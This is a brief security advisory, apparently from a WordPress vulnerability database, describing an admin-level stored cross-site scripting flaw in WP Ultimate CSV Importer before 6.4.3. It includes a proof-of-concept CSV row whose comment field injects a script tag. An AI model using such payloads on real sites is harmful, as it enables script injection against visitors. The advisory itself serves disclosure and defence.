WordPress Plugin Vulnerabilities

WP Ultimate CSV Importer < 6.4.3 - Admin+ Stored Cross-Site Scripting

Description

The plugin does not sanitise and escaped imported comments, which could allow high privilege users to import malicious ones (either intentionnaly or not) and lead to Stored Cross-Site Scripting issues

Proof of Concept

Import the following CSV (as comment):

comment_post_ID,comment_author,comment_content,comment_rating,comment_approved,user_id
1,admin,malicious<script>alert(/XSS/)</script>,5,1,admin

Then the XSS will be triggered in the post the comment has been imported (comment_post_ID)
